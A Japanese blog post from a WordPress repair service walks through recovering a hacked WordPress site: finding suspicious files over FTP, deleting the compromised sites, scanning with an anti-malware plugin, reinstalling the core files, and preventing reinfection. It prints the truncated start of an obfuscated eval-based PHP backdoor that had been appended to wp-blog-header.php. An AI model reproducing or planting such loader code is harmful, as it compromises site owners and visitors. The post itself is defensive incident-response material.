【事例公開】 WordPress がハッキングされたときの復旧方法

ココナラにて WordPress トラブルの復旧依頼をいただき、サーバー内部を調査したところ、ハッキングによるファイル改ざんが認められました。

今回の事例をもとに、復旧方法を初心者向けに解説していきます(依頼主様の承諾を得て掲載しています)。

今すぐサイトの復旧が必要な場合は、以下のリンクよりご相談ください。担当者がオンラインであれば 30 分以内にご返信し、当日中に対応いたします。

修復費用:8,000 円 / 1 サイト

WordPress エラー・不具合修正サービスはこちら(ココナラ)

WordPress の一般的なエラーや不具合への対応方法まとめ

ハッキングされたサイトの不具合の症状

悪意をもった不正な侵入・書き換えは、正確には「クラッキング」と呼ばれています。「ハッキング」のほうがなじみがあると思いますので、本記事では「ハッキング」で統一しています。

ハッキングによるファイル改ざんを発見したのは、「特定のプラグインをアップデートしたさい、サイトが表示されなくなった」というエラーが元でした。

表面上の問題

依頼を受けた時点では、アップデートしたプラグインを削除してサイトは表示されるようになったものの、管理画面には入れなかったようです。

以下はログイン画面のエラーメッセージ。

プラグインは削除済みなので、コアファイル wp-admin/includes/admin.php が書き換えられている可能性があります。

WordPress ログイン画面 エラー

念のため Google 検索でサイトを調べてみると、作成した覚えのないページが出てきたため、ハッキングされた線が濃厚となりました。

Google検索で見つかった不審なページ
「site:example.com」で検索

なお、同じサーバーで別ドメインのサイトもあり、そちらは作成したあと放置していたとのことです。アクセスしてみると、フィッシングの警告が表示されていました。完全にやられていますね…。

「偽のサイトにアクセスしようとしています」というフィッシング警告

FTP でファイルを調査した結果

取り急ぎ FTP で中身を覗いてみたところ、すぐ怪しいファイルを発見。

使用サーバーはエックスサーバーですが、本来ファイルを設置しない場所に small.phpal.php というファイルがあります。

パーミッションが「00」となっているのは、サーバー側の処理によるものです。不正なファイルを検知して、外部から実行できないようにしたと思われます(この処理が行われる前後にサーバーからメールが送られてくる)。

FTPルートディレクトリ

サーバーの初期ドメインに割り当てられているディレクトリには、多数の不審なファイルが設置されていました。見るからに悪さをしそうな名前のファイルばかり。

ハッキングにより仕込まれた不審なファイル群

WordPress をインストールしてあるサイト A・B には、どちらも不審なディレクトリとファイルがありました(WordPress コアには存在しないもの)。

WordPressコアに存在しないディレクトリとファイル

以下は、不審なファイル small.php を開いたところです。「eval」という文字列がありますね。セキュリティ面でよろしくないので、通常は使わないコードです。ハッキングで仕込まれたと見て間違いないでしょう。

PHPファイルに仕込まれているコード

ちなみに、index.php などのコアファイルも書き換えられていることがあり、すべてチェックしていかなければ完全に復旧できません

たとえば、以下は実際に書き換えられていた wp-blog-header.php の一部です。22 行目以降は本来存在しないコードで、ハッキングにより追記されたものと思われます。

<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

$wp_did_header = true;

// Load the WordPress library.
require_once __DIR__ . '/wp-load.php';

// Set up the WordPress query.
wp();

// Load the theme template.
require_once ABSPATH . WPINC . '/template-loader.php';

}
ob_start();
?>
<?php $ucjek = 'ba'.'se64'.'_de'.'code'; $RzbTe = 'strr'.'ev'; $UHkaM = 'gzinflat'.'e'; ini_set('log_errors', 0); /**      e58bb5554cbc27f2edbb671bad3ec7a092eae617 ***/ error_reporting(0); eval($UHkaM($RzbTe...

ChatGPT にも聞いてみたところ、やはり不審なファイルとの回答でした。

不審なファイルに対するChatGPTの回答

サイトの状況を何となく把握できたので、以下の作業を中心に復旧作業を進めていきます。

  • 追加されている不審なディレクトリ / ファイルの削除
  • WordPress の各ファイルに追記されているコードの削除

実際に行った復旧手順

ご相談いただいたサイトの状況は以下のとおり。全サイトでファイルが改ざんされていました。

サイト AWordPress で運用中のメインサイト(管理画面に入れない)
サイト BWordPress が入っている放置中の未使用サイト(フィッシング警告)
サイト Cサーバーの初期ドメイン(未使用)

サイト B は使わないとのことなので、以下の手順で進めていきます。

  1. サイト B のデータを丸ごと削除(ドメインもいったんサーバーから削除)
  2. サイト C の不審データを削除
  3. サイト A の不審データを手動でできるだけ削除
  4. サイト A にログインしてプラグインで不審なデータを調査・削除
  5. サイト A の WordPress コアをすべて上書き(= 再インストール)

使っていないサイトのデータをすべて削除

まずは、使っていないサイト B のデータを丸ごと削除します。

今回は、エックスサーバーからいったんドメインを削除して、ドメインに割り当てられているディレクトリの削除を試みました。

エックスサーバーでドメインを削除

一部データは削除されずに残っていたので、FTP で削除していきます。

ドメイン削除後に残っていたファイル群

ファイルを削除してもデータベースは残ったままなので、そちらも削除します。

念のため、すべてのデータベースをバックアップ(テストで使っていたものなのか、未使用のデータベースがいくつかありました)。

エックスサーバー データベースダウンロード

不要なデータベースを削除します。

エックスサーバー データベース削除

これで、サイト B のデータは完全に消えました。

初期ドメインの不審なファイルを削除

エックスサーバーの初期ドメインはとくに使っていなかったようですが、いろいろ埋め込まれていたのですべて削除します。

不正なファイル群を一括削除

通常はファイルを設置しないエリアにある不審なデータも削除。

各ファイルのパーミッションが「00」になっているものは「644」にしてから削除します(ディレクトリは「755」に変更)。

FTPでファイルのパーミッションを644に変更してから削除

php.ini が書き換えられているかもしれないので、サーバーパネルから初期化しておきます。

エックスサーバー php.ini 初期化

これで、サイト B・C はクリアになったので、メインサイト A の復旧作業を行っていきます。

サイト A の不審なファイルを削除

WordPress はたくさんのファイルがあるので、除去作業はかなり大変です。

新規ダウンロードした WordPress のコアファイルと比較しつつ、更新日時やパーミッションを見て、あたりをつけながら不審なファイルを削除していきました。

wp-includes内の不審なファイル

ログイン画面には引き続き wp-admin/includes/admin.php のエラーが表示されていたので、そのファイルのみ上書き修正。とりあえず管理画面に入れるようになりました。

復旧したWordPressログイン画面

やはりというか何というか、未更新プラグインがたくさんありました…。

脆弱性が発見されているバージョンのプラグインもあったので、そこから侵入された可能性があります。

WordPressダッシュボードで通知されている更新マーク

プラグインで不審なデータを調査・削除

手動では削除しきれていないファイルが残っている可能性もあるので、プラグインでサイトをスキャンチェックします。今回は「Anti-Malware Security and Brute-Force Firewall」を使用しました。

プラグイン新規追加画面から検索し、インストール&有効化。

Anti-Malware Security and Brute-Force Firewall インストール

Anti-Malware 設定画面に進み、「無料でキーをゲット」をクリック。

Anti-Malware Security and Brute-Force Firewall 無料でキーをゲット

氏名(ハンドルネーム可)・メールアドレスを入力して「Register Now!」をクリック。

Anti-Malware Security and Brute-Force Firewall ユーザー登録

「新しい定義をダウンロードしよう!」をクリック。

Anti-Malware Security and Brute-Force Firewall 新しい定義をダウンロード
  • 画面が切り替わらないときは、リロードしてください
  • WAF が ON になっていると画面が切り替わらない可能性があります

「完全なスキャンを実行する」をクリックして、しばらく待機。サイトの規模にもよりますが、10 ~ 30 分ほどで完了します。

Anti-Malware Security and Brute-Force Firewall 完全なスキャンを実行

スキャン完了のメッセージが出たら、詳細を確認します。

今回は、削除しきれていなかったデータのほか、「データベースインジェクション」が見つかっています。投稿・固定ページに何らかのコードが仕込まれているのかもしれません。

Anti-Malware Security and Brute-Force Firewall スキャン完了画面

詳細を見ると、複数の固定ページにあやしげなコードが仕込まれていました。Elementor の脆弱性をついたものでしょうか。

コードは難読化されており、「スマホでアクセスされたとき、特定のリンクから別サイトに飛ばす」という内容でした。おそらくログインユーザーは対象外で、定期的に更新しないページに仕込まれると気づきにくいものです。

Anti-Malware Security and Brute-Force Firewall データベースインジェクション詳細

プラグインにそのまま除去させる場合は、「選択されたファイルを自動的に修正するようになりました。」をクリック。

Anti-Malware Security and Brute-Force Firewall 自動修正

不審なデータの除去と再チェックが行われ、グリーンになれば完了です。

Anti-Malware Security and Brute-Force Firewall 修正完了画面

FTP で上書き

「Anti-Malware Security and Brute-Force Firewall」無料版では、WordPress コアファイルの整合性はチェックしてくれません。

そのため、WordPress 本体を新規ダウンロードし、FTP ですべて上書きしていきます(再インストールするのと同じです)。

FTPでWordPressコアを上書き

以下のディレクトリ・ファイルは上書きまたは削除しないよう注意してください。

  • wp-content 配下のファイル
  • .htaccess
  • wp-config.php

wp-content 配下でも不審なファイルの追加、またはファイルが書き換えられている場合もあるので、目視でチェックする形になります。

以上で、ハッキングされたサイトの修復作業は完了です。このあと各ページ詳細をチェックし、本体・テーマ・プラグインを最新版にアップデートして終了です。

可能であれば、上書きではなく、コアファイルをすべて削除してからアップロードしたほうがよいです。ただし、作業中はサイトが閲覧できない状態になります。

Search Console で警告が出ていた場合の処理

今回のケースでは Search Console の確認を行いませんでしたが、サイトにアクセスして Google Chrome で何らかの警告画面が出ている場合、Search Console にもアラートが表示されます。

Search Console セキュリティの問題
「セキュリティの問題: 1 件の問題を検出しました」

「セキュリティの問題」ページを開くと、理由と URL の例が表示されます(すべての疑わしい URL が表示されるとはかぎりません)。

Search Console セキュリティの問題 詳細画面

すべての不審なファイルを取り除き、サイトが完全に復旧したら「審査をリクエスト」しましょう。

Search Console セキュリティの問題 審査リクエスト

例文:
サーバー内の全ファイルを調査し、ハッキングにより不正に改ざんされたファイルをすべて修正・削除しました。

問題がなければ、12 時間ほどで Google から審査完了のメールが届き、Chrome の警告も削除されます。

Search Console セキュリティの問題 審査完了メール

ハッキングが疑わしいサイトの特徴と原因

ハッキング被害にあうのは、大手サイトだけではありません。一般的な個人ブログでも(たとえアクセス数が少なくても)起こり得ます。

ハッキングを疑う症状

ファイル改ざんといってもその手口は複数あり、すぐわかるものから気づきにくいものまで様々。

以下のいずれかの症状があれば、ほぼ確実にハッキングされています

  • サイトにアクセスすると「偽のサイトにアクセスしようとしています」など警告が出る
  • サイトにアクセスすると、別のサイトに飛ばされる
  • 内部リンクをクリックすると、別のサイトに飛ばされる
  • site:example.com で検索すると、見知らぬページが出てくる
  • Search Console「セキュリティの問題」にメッセージが表示されている
  • Search Console インデックスレポートに見知らぬページが大量に表示されている
  • 設置した覚えのない広告が表示される
  • サーバーから警告メールが届いている

以下の症状はテーマやプラグインの一般的な不具合でも起きるものですが、ハッキングされている可能性もあります。

  • 403 / 404 / 500 / 503 エラーが頻発する
  • WordPress 管理画面のデザインが崩れている
  • 体感できるレベルでページの表示が遅い(投稿編集画面も含む)
  • プラグインが動かなくなる
  • 検索しても正常なページが出てこない

ファイルが改ざんされる原因

WordPress サイトがハッキングされる原因は、ほとんどが「プラグインの脆弱性をついたもの」。

  • 何年も更新されていないプラグインを使い続けている
  • プラグインを更新せずに使い続けている

ログイン画面を「表玄関」とするなら、プラグインは「裏口」または「壁のほころび」です。

どんなにログイン画面を強固なものにしていても、更新していないプラグインを使い続けていれば簡単に侵入されてしまいます。

ハッキング被害を防ぐためにできること

ハッキング被害を防ぐために、以下は必ず実行してください。

  • WordPress 本体を最新版にしておく
  • テーマやプラグインは必ず更新する
  • 開発が停止された(と思われる)プラグインは使わない
  • パスワードを強固なものにし、定期的に変更する
  • セキュリティ系プラグインを導入する

同じサーバーで運営している他のサイトから侵入されることもあるので、テストサイトなどを作ったまま放置しているなら要注意。全サイトしっかり管理し、使わないサイトは削除したほうがよいです。

一度ハッキングされると、これから何度も侵入を試みてくるかもしれません。復旧したあとはとくに気をつけましょう。

WordPress のメンテナンスは手間がかかるので、もし時間がとれないなら専門業者に保守管理を委託することをおすすめします。

ひどいときは、数ヶ月間は検索順位が低下したままになりますからね。ドメインごと捨てたほうがよい場合もあり、SEO 集客をメインとしているなら被害は甚大です。

WordPress 管理画面ログインを 2 段階認証にできるプラグイン 4 選

WordPress ハッキングに関するまとめ

ハッキング被害にあってしまったら、基本的には「ファイルを総入れ替え」することになります。

画像ファイルと見せかけた不正ファイルを仕込んだり、修正してもすぐファイルを改ざんしてくる悪質なプログラムもありますから、まずは大元を探して対処してください。プラグインによる除去だけでは対応しきれないこともあります。

ハッキングされているかも、と思ったらお気軽にご相談ください。相談・事前調査のみであれば無料で承ります。

WordPress エラー・不具合修正サービスはこちら

Author

Naifix 編集部
Web コンサルティング業務を中心に、サイト制作・コンテンツ販売・メディア運営代行業務を行っております。当サイト(Naifix)では、おもにブログ初心者向けのノウハウを無料で配信しています。